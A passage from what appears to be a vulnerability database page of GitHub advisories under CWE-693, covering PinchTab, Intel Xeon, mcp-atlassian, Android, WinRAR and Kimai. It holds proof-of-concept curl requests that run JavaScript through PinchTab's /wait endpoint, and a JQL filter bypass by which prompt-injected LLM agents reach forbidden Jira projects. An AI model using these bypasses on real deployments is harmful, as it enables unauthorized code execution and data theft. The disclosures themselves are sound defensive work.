CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1327 vulnerabilities reference this CWE, most recent first.
GHSA-W5PC-M664-R62V
Vulnerability from github – Published: 2026-03-24 19:43 – Updated: 2026-03-27 21:19Summary
PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.
POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.
This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.
The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.
Details
Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5):
The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:
// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
return h != nil && h.Config != nil && h.Config.AllowEvaluate
}
func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
if !h.evaluateEnabled() {
httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
"setting": "security.allowEvaluate",
})
return
}
// ...
}
In the same releases, /wait did not apply that guard before evaluating fn:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
mode := req.mode()
if mode == "" {
httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
return
}
// No evaluateEnabled() check here in affected releases
// ...
}
Issue 2 — fn mode evaluated caller-supplied JavaScript directly:
The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
matchLabel = "fn"
// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))
Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.
Issue 3 — Current worktree contains an unreleased fix:
The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.
PoC
Prerequisites
- PinchTab
v0.8.3,v0.8.4, orv0.8.5 - A configured API token
security.allowEvaluate = false- A reachable tab context, created by the caller or already present
Step 1 — Confirm /evaluate is blocked by policy
curl -s -X POST http://localhost:9867/evaluate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"expression":"1+1"}'
Expected:
{
"code": "evaluate_disabled"
}
Step 2 — Open a tab
curl -s -X POST http://localhost:9867/navigate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com"}'
Example result:
{
"tabId": "<TAB_ID>",
"title": "Example Domain",
"url": "https://example.com/"
}
Step 3 — Execute JavaScript through /wait using fn mode
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"(function(){window._poc_executed=true;return true})()",
"timeout":5000
}'
Example result:
{
"waited": true,
"elapsed": 1,
"match": "fn"
}
Step 4 — Verify the side effect
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"window._poc_executed === true",
"timeout":3000
}'
Example result:
{
"waited": true,
"elapsed": 0,
"match": "fn"
}
Observation
1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
3. The first /wait request introduces a side effect in page state.
4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.
Impact
- Bypass of the explicit
security.allowEvaluatecontrol inv0.8.3throughv0.8.5. - Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
- Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
- Inconsistent security boundaries between
/evaluateand/wait, making the configured execution policy unreliable. - This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.
Suggested Remediation
- Make
fnmode in/waitenforce the same policy check as/evaluate. - Keep non-code wait modes available when JavaScript evaluation is disabled.
- Add regression coverage so the policy boundary remains consistent across endpoints.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab/cmd/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.3"
},
{
"last_affected": "0.8.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33622"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:43:30Z",
"nvd_published_at": "2026-03-26T21:17:06Z",
"severity": "MODERATE"
},
"details": "### Summary\nPinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled.\n\n`POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.\n\nThis is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.\n\nThe current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes.\n\n### Details\n**Issue 1 \u2014 `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):**\nThe dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled:\n\n```go\n// internal/handlers/evaluate.go \u2014 v0.8.5\nfunc (h *Handlers) evaluateEnabled() bool {\n return h != nil \u0026\u0026 h.Config != nil \u0026\u0026 h.Config.AllowEvaluate\n}\n\nfunc (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {\n if !h.evaluateEnabled() {\n httpx.ErrorCode(w, 403, \"evaluate_disabled\", httpx.DisabledEndpointMessage(\"evaluate\", \"security.allowEvaluate\"), false, map[string]any{\n \"setting\": \"security.allowEvaluate\",\n })\n return\n }\n // ...\n}\n```\n\nIn the same releases, `/wait` did not apply that guard before evaluating `fn`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\nfunc (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {\n mode := req.mode()\n if mode == \"\" {\n httpx.Error(w, 400, fmt.Errorf(\"one of selector, text, url, load, fn, or ms is required\"))\n return\n }\n\n // No evaluateEnabled() check here in affected releases\n // ...\n}\n```\n\n**Issue 2 \u2014 `fn` mode evaluated caller-supplied JavaScript directly:**\nThe `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\ncase \"fn\":\n js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)\n matchLabel = \"fn\"\n\n// Poll loop\nevalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, \u0026result))\n```\n\nBecause `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.\n\n**Issue 3 \u2014 Current worktree contains an unreleased fix:**\nThe current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5`\n- A configured API token\n- `security.allowEvaluate = false`\n- A reachable tab context, created by the caller or already present\n\n**Step 1 \u2014 Confirm `/evaluate` is blocked by policy**\n\n```bash\ncurl -s -X POST http://localhost:9867/evaluate \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"expression\":\"1+1\"}\u0027\n```\n\nExpected:\n\n```json\n{\n \"code\": \"evaluate_disabled\"\n}\n```\n\n**Step 2 \u2014 Open a tab**\n\n```bash\ncurl -s -X POST http://localhost:9867/navigate \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\":\"https://example.com\"}\u0027\n```\n\nExample result:\n\n```json\n{\n \"tabId\": \"\u003cTAB_ID\u003e\",\n \"title\": \"Example Domain\",\n \"url\": \"https://example.com/\"\n}\n```\n\n**Step 3 \u2014 Execute JavaScript through `/wait` using `fn` mode**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"tabId\":\"\u003cTAB_ID\u003e\",\n \"fn\":\"(function(){window._poc_executed=true;return true})()\",\n \"timeout\":5000\n }\u0027\n```\n\nExample result:\n\n```json\n{\n \"waited\": true,\n \"elapsed\": 1,\n \"match\": \"fn\"\n}\n```\n\n**Step 4 \u2014 Verify the side effect**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"tabId\":\"\u003cTAB_ID\u003e\",\n \"fn\":\"window._poc_executed === true\",\n \"timeout\":3000\n }\u0027\n```\n\nExample result:\n\n```json\n{\n \"waited\": true,\n \"elapsed\": 0,\n \"match\": \"fn\"\n}\n```\n\n**Observation**\n1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off.\n2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases.\n3. The first `/wait` request introduces a side effect in page state.\n4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.\n\n### Impact\n1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`.\n2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.\n3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.\n4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable.\n5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.\n\n### Suggested Remediation\n1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`.\n2. Keep non-code wait modes available when JavaScript evaluation is disabled.\n3. Add regression coverage so the policy boundary remains consistent across endpoints.",
"id": "GHSA-w5pc-m664-r62v",
"modified": "2026-03-27T21:19:00Z",
"published": "2026-03-24T19:43:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-w5pc-m664-r62v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33622"
},
{
"type": "PACKAGE",
"url": "https://github.com/pinchtab/pinchtab"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution"
}
GHSA-W5QF-7XGV-GGV8
Vulnerability from github – Published: 2024-08-14 15:31 – Updated: 2024-08-14 15:31Protection mechanism failure in some 3rd, 4th, and 5th Generation Intel(R) Xeon(R) Processors may allow a privileged user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-24980"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T14:15:22Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in some 3rd, 4th, and 5th Generation Intel(R) Xeon(R) Processors may allow a privileged user to potentially enable escalation of privilege via local access.",
"id": "GHSA-w5qf-7xgv-ggv8",
"modified": "2024-08-14T15:31:15Z",
"published": "2024-08-14T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24980"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01100.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W66G-J6C4-HCFC
Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34Summary
mcp-atlassian is a popular community MCP server wrapper exposing Jira / Confluence to MCP clients. Operators commonly restrict the surface to a small allowlist of projects/spaces via the JIRA_PROJECTS_FILTER and CONFLUENCE_SPACES_FILTER environment variables, which the README documents as the principal mechanism for limiting attacker-controlled MCP clients (= prompt-injected LLM agents) to the operator's intended subset of the workspace.
We identified three distinct sub-bugs that let attacker-controlled queries read content from forbidden projects/spaces (= projects NOT in the operator's filter) despite the filter being correctly set. The most severe is empirically reproduced on production Atlassian Cloud with real operator credentials and sentinel content in two real projects.
| Sub-bug | Layer | Class | Live? |
|---|---|---|---|
| A1 | Jira jira_search jql |
substring-bypass | 🔴 LIVE PROVEN 2026-05-18 on real Atlassian Cloud |
| A2 | Confluence confluence_search cql |
case-sensitive substring-bypass | code-level verified |
| B | Jira agile get_board_issues / get_agile_boards |
zero-filter (missing check) | code-level verified |
Details
Sub-bug A1 — src/mcp_atlassian/jira/search.py lines 92-94 at HEAD d8bc78698a63cb6b321c7ca796d6329d448f7f6d:
if projects_filter and "project = " not in jql.lower():
jql = f"{jql} AND project in ({','.join(projects_filter)})"
The substring check is satisfied by any JQL of the form project = <forbidden-project> — including a project NOT in projects_filter. The wrapper does NOT verify that the project named in the user JQL is a member of the allowlist. The user-supplied JQL is sent verbatim to Jira's search API which returns content from the forbidden project (Jira's authorization is satisfied because the operator's PAT typically has broader access than the operator's intended allowlist — which is why the operator set a filter in the first place).
Sub-bug A2 — src/mcp_atlassian/confluence/search.py line 60: same pattern as A1, PLUS the substring check "space = " not in cql is case-sensitive (no .lower()). User CQL SPACE = "<forbidden-space>" (uppercase) bypasses the substring match.
Sub-bug B — get_board_issues and get_agile_boards paths have no projects_filter enforcement at all — no substring check, no AST walk, the allowlist is silently ignored. An MCP client invoking get_agile_boards enumerates boards across the entire workspace (including forbidden projects), and get_board_issues(boardId=<forbidden-board>) returns all issues with no filter check.
PoC
End-to-end Phase C against real Atlassian Cloud + real mcp-atlassian Python binary v0.21.1 (latest on PyPI) with operator-provided test workspace and two real Jira projects (one allowed, one forbidden via JIRA_PROJECTS_FILTER):
| Step | JQL submitted | Result | Verdict |
|---|---|---|---|
| 1 initialize | – | MCP 2024-11-05 OK | ✓ |
| 2 tools/list | – | 33+ tools incl. jira_search |
✓ |
| 3 CONTROL | project = <allowed> |
returns allowed issue | ✓ |
| 4 NEG CTRL | summary ~ "any-string" |
wrapper appends AND project in (<allowed>) → 0 forbidden results |
✓ |
| 5 BYPASS A1 | project = <forbidden> |
returns forbidden issue with sentinel content | 🔴 BYPASS |
Full RPC log and a reproducible test script are available in a disclosure bundle I have prepared. I can share the zip via a private channel (email / your preferred private fork / encrypted upload) — please reply with your preference. The bundle includes:
- 00-FINDING-REPORT.md (primary report)
- ATTACK-MATRIX.md
- Verbatim source files at HEAD with sha256 chain of custody (
source-jira-search.py,source-confluence-search.py) - Phase C live test script + JSON-RPC witness log
- Bundle zip sha256:
034cbf0bcb66c325be9373ff2dc186b8b0e1747c5165d6fba3bca83054949dd3
Repro recipe (no bundle needed) :
pip install mcp-atlassian
export JIRA_URL=https://<your-test-workspace>.atlassian.net
export JIRA_USERNAME=<your-test-email>
export JIRA_API_TOKEN=<your-pat>
export JIRA_PROJECTS_FILTER=<your-allowed-project-key>
# Then drive the MCP via stdio JSON-RPC with tools/call jira_search jql="project = <forbidden-project-key>"
# Expect: forbidden project content returned despite the filter.
Impact
Severity is higher in deployments where the operator's PAT covers a broader set of projects than JIRA_PROJECTS_FILTER (= the common configuration, which is the reason operators set the filter).
Affected: every operator who relies on JIRA_PROJECTS_FILTER / CONFLUENCE_SPACES_FILTER to confine an attacker-controlled MCP client (= prompt-injected LLM agent) to a subset of their workspace.
Suggested fix
- Replace substring checks with AST-based JQL/CQL parsers that walk the WHERE clause looking for
project/spaceconstraints. Reject queries whoseproject/spaceconstraint references a key not in the allowlist. - Add
projects_filtercheck insideget_board_issues(resolve board → project, reject if not in filter) andget_agile_boards(filter returned list). - Make the Confluence substring check case-insensitive (
cql.lower()) for defense-in-depth, even after the AST fix lands. - Default-deny for ambiguous queries: if the AST parser can't fully classify a clause, refuse instead of pass-through.
- Add unit tests that assert attacker JQL
project = <not-in-filter>returns zero results when the filter is set.
Disclosure
ISO/IEC 29147. Default 90-day embargo from the date you acknowledge receipt. Happy to coordinate the CVE via the GitHub CNA pipeline. Credit under: Mordehai Attia, Founder, Corsen AI (https://corsen.ai , GitHub @CorsenAI).
Thank you for maintaining mcp-atlassian — the project is widely used and your security policy was clear, which made this disclosure straightforward to file. Looking forward to coordinating the fix.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77251"
],
"database_specific": {
"cwe_ids": [
"CWE-1276",
"CWE-184",
"CWE-693",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:34:47Z",
"nvd_published_at": "2026-09-22T18:17:17Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`mcp-atlassian` is a popular community MCP server wrapper exposing Jira / Confluence to MCP clients. Operators commonly restrict the surface to a small allowlist of projects/spaces via the `JIRA_PROJECTS_FILTER` and `CONFLUENCE_SPACES_FILTER` environment variables, which the README documents as the principal mechanism for limiting attacker-controlled MCP clients (= prompt-injected LLM agents) to the operator\u0027s intended subset of the workspace.\n\nWe identified **three distinct sub-bugs** that let attacker-controlled queries read content from **forbidden** projects/spaces (= projects NOT in the operator\u0027s filter) despite the filter being correctly set. The most severe is **empirically reproduced on production Atlassian Cloud** with real operator credentials and sentinel content in two real projects.\n\n| Sub-bug | Layer | Class | Live? |\n|---|---|---|---|\n| **A1** | Jira `jira_search` `jql` | substring-bypass | \ud83d\udd34 **LIVE PROVEN 2026-05-18 on real Atlassian Cloud** |\n| **A2** | Confluence `confluence_search` `cql` | case-sensitive substring-bypass | code-level verified |\n| **B** | Jira agile `get_board_issues` / `get_agile_boards` | zero-filter (missing check) | code-level verified |\n\n### Details\n\n**Sub-bug A1** \u2014 `src/mcp_atlassian/jira/search.py` lines 92-94 at HEAD `d8bc78698a63cb6b321c7ca796d6329d448f7f6d`:\n\n```python\nif projects_filter and \"project = \" not in jql.lower():\n jql = f\"{jql} AND project in ({\u0027,\u0027.join(projects_filter)})\"\n```\n\nThe substring check is satisfied by *any* JQL of the form `project = \u003cforbidden-project\u003e` \u2014 including a project NOT in `projects_filter`. The wrapper does NOT verify that the project named in the user JQL is a member of the allowlist. The user-supplied JQL is sent verbatim to Jira\u0027s search API which returns content from the forbidden project (Jira\u0027s authorization is satisfied because the operator\u0027s PAT typically has broader access than the operator\u0027s intended allowlist \u2014 which is *why* the operator set a filter in the first place).\n\n**Sub-bug A2** \u2014 `src/mcp_atlassian/confluence/search.py` line 60: same pattern as A1, PLUS the substring check `\"space = \" not in cql` is **case-sensitive** (no `.lower()`). User CQL `SPACE = \"\u003cforbidden-space\u003e\"` (uppercase) bypasses the substring match.\n\n**Sub-bug B** \u2014 `get_board_issues` and `get_agile_boards` paths have **no `projects_filter` enforcement at all** \u2014 no substring check, no AST walk, the allowlist is silently ignored. An MCP client invoking `get_agile_boards` enumerates boards across the entire workspace (including forbidden projects), and `get_board_issues(boardId=\u003cforbidden-board\u003e)` returns all issues with no filter check.\n\n### PoC\n\nEnd-to-end Phase C against real Atlassian Cloud + real `mcp-atlassian` Python binary v0.21.1 (latest on PyPI) with operator-provided test workspace and two real Jira projects (one allowed, one forbidden via `JIRA_PROJECTS_FILTER`):\n\n| Step | JQL submitted | Result | Verdict |\n|---|---|---|---|\n| 1 initialize | \u2013 | MCP 2024-11-05 OK | \u2713 |\n| 2 tools/list | \u2013 | 33+ tools incl. `jira_search` | \u2713 |\n| 3 CONTROL | `project = \u003callowed\u003e` | returns allowed issue | \u2713 |\n| 4 NEG CTRL | `summary ~ \"any-string\"` | wrapper appends `AND project in (\u003callowed\u003e)` \u2192 0 forbidden results | \u2713 |\n| 5 **BYPASS A1** | `project = \u003cforbidden\u003e` | **returns forbidden issue with sentinel content** | \ud83d\udd34 **BYPASS** |\n\nFull RPC log and a reproducible test script are available in a disclosure bundle I have prepared. I can share the zip via a private channel (email / your preferred private fork / encrypted upload) \u2014 please reply with your preference. The bundle includes:\n\n- 00-FINDING-REPORT.md (primary report)\n- ATTACK-MATRIX.md\n- Verbatim source files at HEAD with sha256 chain of custody (`source-jira-search.py`, `source-confluence-search.py`)\n- Phase C live test script + JSON-RPC witness log\n- Bundle zip sha256: `034cbf0bcb66c325be9373ff2dc186b8b0e1747c5165d6fba3bca83054949dd3`\n\nRepro recipe (no bundle needed) :\n\n```bash\npip install mcp-atlassian\nexport JIRA_URL=https://\u003cyour-test-workspace\u003e.atlassian.net\nexport JIRA_USERNAME=\u003cyour-test-email\u003e\nexport JIRA_API_TOKEN=\u003cyour-pat\u003e\nexport JIRA_PROJECTS_FILTER=\u003cyour-allowed-project-key\u003e\n# Then drive the MCP via stdio JSON-RPC with tools/call jira_search jql=\"project = \u003cforbidden-project-key\u003e\"\n# Expect: forbidden project content returned despite the filter.\n```\n\n### Impact\n\nSeverity is higher in deployments where the operator\u0027s PAT covers a broader set of projects than `JIRA_PROJECTS_FILTER` (= the common configuration, which is the reason operators set the filter).\n\nAffected: every operator who relies on `JIRA_PROJECTS_FILTER` / `CONFLUENCE_SPACES_FILTER` to confine an attacker-controlled MCP client (= prompt-injected LLM agent) to a subset of their workspace.\n\n### Suggested fix\n\n1. Replace substring checks with **AST-based JQL/CQL parsers** that walk the WHERE clause looking for `project`/`space` constraints. Reject queries whose `project`/`space` constraint references a key not in the allowlist.\n2. Add `projects_filter` check inside `get_board_issues` (resolve board \u2192 project, reject if not in filter) and `get_agile_boards` (filter returned list).\n3. Make the Confluence substring check case-insensitive (`cql.lower()`) for defense-in-depth, even after the AST fix lands.\n4. Default-deny for ambiguous queries: if the AST parser can\u0027t fully classify a clause, refuse instead of pass-through.\n5. Add unit tests that assert attacker JQL `project = \u003cnot-in-filter\u003e` returns zero results when the filter is set.\n\n### Disclosure\n\nISO/IEC 29147. Default 90-day embargo from the date you acknowledge receipt. Happy to coordinate the CVE via the GitHub CNA pipeline. Credit under: **Mordehai Attia, Founder, Corsen AI** (https://corsen.ai , GitHub @CorsenAI).\n\nThank you for maintaining mcp-atlassian \u2014 the project is widely used and your security policy was clear, which made this disclosure straightforward to file. Looking forward to coordinating the fix.",
"id": "GHSA-w66g-j6c4-hcfc",
"modified": "2026-09-22T20:34:48Z",
"published": "2026-09-22T20:34:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-w66g-j6c4-hcfc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77251"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: JIRA_PROJECTS_FILTER / CONFLUENCE_SPACES_FILTER allow forbidden-project content exfiltration (one LIVE-proven on Atlassian Cloud)"
}
GHSA-W6G9-7V5H-XV4X
Vulnerability from github – Published: 2022-12-21 00:30 – Updated: 2022-12-21 00:30In various functions of ap_input_processor.c, there is a possible way to record audio during a phone call due to a logic error in the code. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-231630423References: N/A
{
"affected": [],
"aliases": [
"CVE-2022-20562"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-16T16:15:00Z",
"severity": "LOW"
},
"details": "In various functions of ap_input_processor.c, there is a possible way to record audio during a phone call due to a logic error in the code. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-231630423References: N/A",
"id": "GHSA-w6g9-7v5h-xv4x",
"modified": "2022-12-21T00:30:29Z",
"published": "2022-12-21T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20562"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W74V-5F39-6XGQ
Vulnerability from github – Published: 2024-04-02 21:30 – Updated: 2024-04-02 21:30RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.
The specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.
{
"affected": [],
"aliases": [
"CVE-2024-30370"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-02T21:15:50Z",
"severity": "MODERATE"
},
"details": "RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.\n\nThe specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.",
"id": "GHSA-w74v-5f39-6xgq",
"modified": "2024-04-02T21:30:31Z",
"published": "2024-04-02T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30370"
},
{
"type": "WEB",
"url": "https://www.rarlab.com/rarnew.htm#27.%20Busgs%20fixed"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-357"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W754-75MX-556Q
Vulnerability from github – Published: 2026-08-29 00:30 – Updated: 2026-08-29 00:30Kimai versions before 2.56.0 fail to restrict the config() Twig function in sandboxed invoice and export templates, allowing administrators to access arbitrary configuration keys. Attackers with admin privileges can upload malicious templates to exfiltrate server-wide secrets including LDAP bind passwords and SAML private keys into invoice or export documents accessible to lower-privileged users.
{
"affected": [],
"aliases": [
"CVE-2026-80198"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T05:18:27Z",
"severity": "HIGH"
},
"details": "Kimai versions before 2.56.0 fail to restrict the config() Twig function in sandboxed invoice and export templates, allowing administrators to access arbitrary configuration keys. Attackers with admin privileges can upload malicious templates to exfiltrate server-wide secrets including LDAP bind passwords and SAML private keys into invoice or export documents accessible to lower-privileged users.",
"id": "GHSA-w754-75mx-556q",
"modified": "2026-08-29T00:30:56Z",
"published": "2026-08-29T00:30:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-vrqv-52x7-rm4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80198"
},
